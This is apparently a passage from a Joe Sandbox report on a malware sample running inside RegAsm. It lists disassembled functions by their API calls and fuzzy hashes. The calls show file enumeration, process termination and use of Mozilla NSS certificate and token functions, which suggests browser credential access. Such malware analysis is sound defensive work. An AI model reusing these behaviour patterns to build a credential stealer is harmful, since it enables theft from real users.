Part of subcall function 0041B95B: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,03922548), ref: 0041B98F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID:
API String ID: 3986731826-0
Opcode ID: 7ff6333c14d8671d1925a56ca4dfeb8ed51f6aeaf213d41c1c97aa9cc17fe228
Instruction ID: e63b327b824be0ecb82d878d7b1bcb9963d00df78d2d29c152de9eb5281ca8e4
Opcode Fuzzy Hash: 7ff6333c14d8671d1925a56ca4dfeb8ed51f6aeaf213d41c1c97aa9cc17fe228
Instruction Fuzzy Hash: 20414971900209DFCF15DFA9C880ADEBFF8FF48314F14426AE854EA266D3759985CBA4

Function 0041BD4A Relevance: 6.1, APIs: 4, Instructions: 91fileCOMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041BD8F
_memmove.LIBCMT ref: 0041BDA3
_memmove.LIBCMT ref: 0041BDF0
WriteFile.KERNEL32(00000000,?,66F4230E,?,00000000,03922548,?,00000001,03922548,?,0041AE35,?,00000001,03922548,66F4230E,?), ref: 0041BE0F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: _memmove$FileWritemalloc
String ID:
API String ID: 803809635-0
Opcode ID: 96fd741e2e00e7d82f8ddb22d2f379bea126d20f2cbdb156d9df00f45ff8c8ef
Instruction ID: 2d6cf9f969dccd2e4edae43e7773cd1050ed1537496c7d2dff7c645a237358a0
Opcode Fuzzy Hash: 96fd741e2e00e7d82f8ddb22d2f379bea126d20f2cbdb156d9df00f45ff8c8ef
Instruction Fuzzy Hash: D2317E71604704AFD725DF55E980BA7B7F9FB44300F40892EE58687A40DB74F9448B94

Function 004122B0 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004122D7

Part of subcall function 00411D61: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00412301,?), ref: 00411D6C
Part of subcall function 00411D61: HeapAlloc.KERNEL32(00000000), ref: 00411D73
Part of subcall function 00411D61: wsprintfW.USER32 ref: 00411D84

OpenProcess.KERNEL32(00001001,00000000,?,00000000,?), ref: 0041237D
TerminateProcess.KERNEL32(00000000,00000000), ref: 0041238B
CloseHandle.KERNEL32(00000000), ref: 00412392

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocCloseHandleOpenTerminate_memsetwsprintf
String ID:
API String ID: 2224742867-0
Opcode ID: d4b34a4c21a26e2c9d95cf8b4d56e29be9b6c66082d3dd5852bc78d80c8abc1d
Instruction ID: 4a01f7960c27f9432e4db4d9540a1d92aa8a552bab995fe1a1fb8e271f6651b8
Opcode Fuzzy Hash: d4b34a4c21a26e2c9d95cf8b4d56e29be9b6c66082d3dd5852bc78d80c8abc1d
Instruction Fuzzy Hash: 83314D72A0121CAFDF20DF61DD849EEB7BDEB0A345F0400AAF909E2550D6399F848F56

Function 00416628 Relevance: 6.1, APIs: 4, Instructions: 73stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000), ref: 00416670
lstrcatA.KERNEL32(?,00436B44), ref: 0041668D
lstrcatA.KERNEL32(?), ref: 004166A0
lstrcatA.KERNEL32(?,00436B48), ref: 004166B2

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 00415FE1
Part of subcall function 00415F9A: FindFirstFileA.KERNEL32(?,?), ref: 00415FF8
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AAC), ref: 00416019
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436AB0), ref: 00416033
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041605A
Part of subcall function 00415F9A: StrCmpCA.SHLWAPI(?,00436647), ref: 0041606E
Part of subcall function 00415F9A: wsprintfA.USER32 ref: 0041608B
Part of subcall function 00415F9A: PathMatchSpecA.SHLWAPI(?,?), ref: 004160B8
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?), ref: 004160EE
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436AC8), ref: 00416100
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416113
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,00436ACC), ref: 00416125
Part of subcall function 00415F9A: lstrcatA.KERNEL32(?,?), ref: 00416139

Part of subcall function 00415F9A: wsprintfA.USER32 ref: 004160A2
Part of subcall function 00415F9A: FindNextFileA.KERNEL32(?,?), ref: 004162C8
Part of subcall function 00415F9A: FindClose.KERNEL32(?), ref: 004162DC

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID:
API String ID: 153043497-0
Opcode ID: c7f2e1beb5677780b504b6f133f7fbbf7e58c9e8dbc9ff06979ddcc89c31692d
Instruction ID: 86cb5c24b1af1b3eba907fdcde866d32d900d0ebc5c1e85709c3aad948acd9ca
Opcode Fuzzy Hash: c7f2e1beb5677780b504b6f133f7fbbf7e58c9e8dbc9ff06979ddcc89c31692d
Instruction Fuzzy Hash: 6F21C73190021DAFCF54DF60DC46ADDB779EB04305F1040A6B589E3190EEB99BC58F44

Function 6C2D2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C2D2E08

Part of subcall function 6C2C14C0: TlsGetValue.KERNEL32 ref: 6C2C14E0
Part of subcall function 6C2C14C0: EnterCriticalSection.KERNEL32 ref: 6C2C14F5
Part of subcall function 6C2C14C0: PR_Unlock.NSS3 ref: 6C2C150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C2D2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C2D2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C2D2E95

Part of subcall function 6C2C1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C2688A4,00000000,00000000), ref: 6C2C1228
Part of subcall function 6C2C1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C2C1238
Part of subcall function 6C2C1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C2688A4,00000000,00000000), ref: 6C2C124B
Part of subcall function 6C2C1200: PR_CallOnce.NSS3(6C3C2AA4,6C2C12D0,00000000,00000000,00000000,?,6C2688A4,00000000,00000000), ref: 6C2C125D
Part of subcall function 6C2C1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C2C126F
Part of subcall function 6C2C1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C2C1280
Part of subcall function 6C2C1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C2C128E
Part of subcall function 6C2C1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C2C129A
Part of subcall function 6C2C1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C2C12A1

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 37246440b600b4d854cb15df21197b8ee0e219b5e67cf8356dc59cd218bac27f
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: EC2107F1E1035A4BE700CF549D45BAA37A46FA130DF120369ED085B742F7B1F9888292

Function 6C28ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C28ACC2

Part of subcall function 6C262F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C262F0A
Part of subcall function 6C262F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C262F1D

Part of subcall function 6C262AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C260A1B,00000000), ref: 6C262AF0
Part of subcall function 6C262AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C262B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C28AD5E

Part of subcall function 6C2A57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C26B41E,00000000,00000000,?,00000000,?,6C26B41E,00000000,00000000,00000001,?), ref: 6C2A57E0
Part of subcall function 6C2A57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C2A5843

CERT_DestroyCertList.NSS3(?), ref: 6C28AD36

Part of subcall function 6C262F50: CERT_DestroyCertificate.NSS3(?), ref: 6C262F65
Part of subcall function 6C262F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C262F83

free.MOZGLUE(?), ref: 6C28AD4F

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 0def883eef8db8a6a3430cae8e78bc997e16d3804a8d892a273ace53b6a0da60
Instruction ID: 4191ddf054cd1a1b4bab27ff0666e543ab1ad3180e0f3eebfcf20ffa3654a6e0
Opcode Fuzzy Hash: 0def883eef8db8a6a3430cae8e78bc997e16d3804a8d892a273ace53b6a0da60
Instruction Fuzzy Hash: 0021A1B5D0121CCBEB10DF69D8055EEB7B8AF15219F054068DC45BBA81EB31AA49CBE1

Function 6C2BECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C2BF0AD,6C2BF150,?,6C2BF150,?,?,?), ref: 6C2BECBA

Part of subcall function 6C2C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C2687ED,00000800,6C25EF74,00000000), ref: 6C2C1000
Part of subcall function 6C2C0FF0: PR_NewLock.NSS3(?,00000800,6C25EF74,00000000), ref: 6C2C1016
Part of subcall function 6C2C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C2687ED,00000008,?,00000800,6C25EF74,00000000), ref: 6C2C102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C2BECD1

Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C10F3
Part of subcall function 6C2C10C0: EnterCriticalSection.KERNEL32(?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C110C
Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1141
Part of subcall function 6C2C10C0: PR_Unlock.NSS3(?,?,?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C1182
Part of subcall function 6C2C10C0: TlsGetValue.KERNEL32(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C2BED02

Part of subcall function 6C2C10C0: PL_ArenaAllocate.NSS3(?,6C268802,00000000,00000008,?,6C25EF74,00000000), ref: 6C2C116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C2BED5A

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 652cc3966104e8ba7d59ac0501eaa6915fdafe035a6b887dd3476ae600e08fbc
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 8121FFB5A007479BE300CF21D904B52B7E8AFA434CF258359AC0C97A62EBB0E594C6D1

Function 6C2EEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C2D7FFA,?,6C2D9767,?,8B7874C0,0000A48E), ref: 6C2EEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C2D7FFA,?,6C2D9767,?,8B7874C0,0000A48E), ref: 6C2EEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C2D7FFA,?,6C2D9767,?,8B7874C0,0000A48E), ref: 6C2EEE14

Part of subcall function 6C2C0BE0: malloc.MOZGLUE(6C2B8D2D,?,00000000,?), ref: 6C2C0BF8
Part of subcall function 6C2C0BE0: TlsGetValue.KERNEL32(6C2B8D2D,?,00000000,?), ref: 6C2C0C15

memcpy.VCRUNTIME140(?,?,6C2D9767,00000000,00000000,6C2D7FFA,?,6C2D9767,?,8B7874C0,0000A48E), ref: 6C2EEE33

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 66f58ab548edb223b1020733136187a43f150a47847306be3c862a34fd6f28ab
Instruction ID: 3baf2ab0be46eb37f719074c31833e5a269441ce57f26fdb9bd0b316cc91112b
Opcode Fuzzy Hash: 66f58ab548edb223b1020733136187a43f150a47847306be3c862a34fd6f28ab
Instruction Fuzzy Hash: CB1177B5A0070BABD7109E65DC84B46B36CEF0836DF544535ED19A6A40E331E45487E2

Function 6C288DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C288DE7
EnterCriticalSection.KERNEL32 ref: 6C288DFC
PR_Unlock.NSS3 ref: 6C288E2D
PR_SetError.NSS3 ref: 6C288E49

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 9d5cb04c7b75ef68ebce23813138868d21e491407175dda48b38cb256feec19b
Instruction ID: dea92aa7c4effb9747087798644e26adc3a33be566e2888f1f8a8cb9ae12db64
Opcode Fuzzy Hash: 9d5cb04c7b75ef68ebce23813138868d21e491407175dda48b38cb256feec19b
Instruction Fuzzy Hash: 39114C75605A199FD700AF78D4885AABBF8FF05314F014969EC8897B40E730E8A8CBD2

Function 6C30AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C2F5F17,?,?,?,?,?,?,?,?,6C2FAAD4), ref: 6C30AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C2F5F17,?,?,?,?,?,?,?,?,6C2FAAD4), ref: 6C30ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C2FAAD4), ref: 6C30ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C2FAAD4), ref: 6C30ACDB

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 753227992f647438a05687d26d2d3a4195dc5ba3bf478b2181eab0cda19364c4
Instruction ID: 62b5c34275441c9a35e85e318c3a7c28915567a67d2f65f10701c4f0d2396872
Opcode Fuzzy Hash: 753227992f647438a05687d26d2d3a4195dc5ba3bf478b2181eab0cda19364c4
Instruction Fuzzy Hash: D0015EB6701B019BE760EF39E908757B7E8BF10A59B114839D85AD3E00E731F055CB91

Function 00410CC0 Relevance: 6.0, APIs: 4, Instructions: 39memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Version: ,004365B6,?,?,?), ref: 00410CD8
HeapAlloc.KERNEL32(00000000), ref: 00410CDF
GetLocalTime.KERNEL32(?), ref: 00410CEB
wsprintfA.USER32 ref: 00410D16

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 65de17affa0f79a842747a4c3c5e343ab38b15a366359e5ae5812b3013218cb8
Instruction ID: e190bc37c823235fb8ced928af2ad1aafbd9c26af4b3bf85c593baf749f83082
Opcode Fuzzy Hash: 65de17affa0f79a842747a4c3c5e343ab38b15a366359e5ae5812b3013218cb8
Instruction Fuzzy Hash: A1F031B1900218BBDF14DFE59C059BF77BDAB0C616F001095F941E2180E6399A80D775

Function 6C37CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C37CC61
free.MOZGLUE ref: 6C37CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C37CC80
free.MOZGLUE(?), ref: 6C37CC87

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 18ab4f735dcf57e9c56129bf96cab3ef8ef8458e24c0bcf124d80ab7cfd038cd
Instruction ID: 419e70c36db77c316155c6339f7b43b1b0cb21a274fb294404712db628d29e42
Opcode Fuzzy Hash: 18ab4f735dcf57e9c56129bf96cab3ef8ef8458e24c0bcf124d80ab7cfd038cd
Instruction Fuzzy Hash: 5CE065767006089FCA10EFA8DC44C8B77BCFE492703150525E691D3700D231F905CBE5

Function 00412BB9 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00405237: GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040527E
Part of subcall function 00405237: RtlAllocateHeap.NTDLL(00000000), ref: 00405285
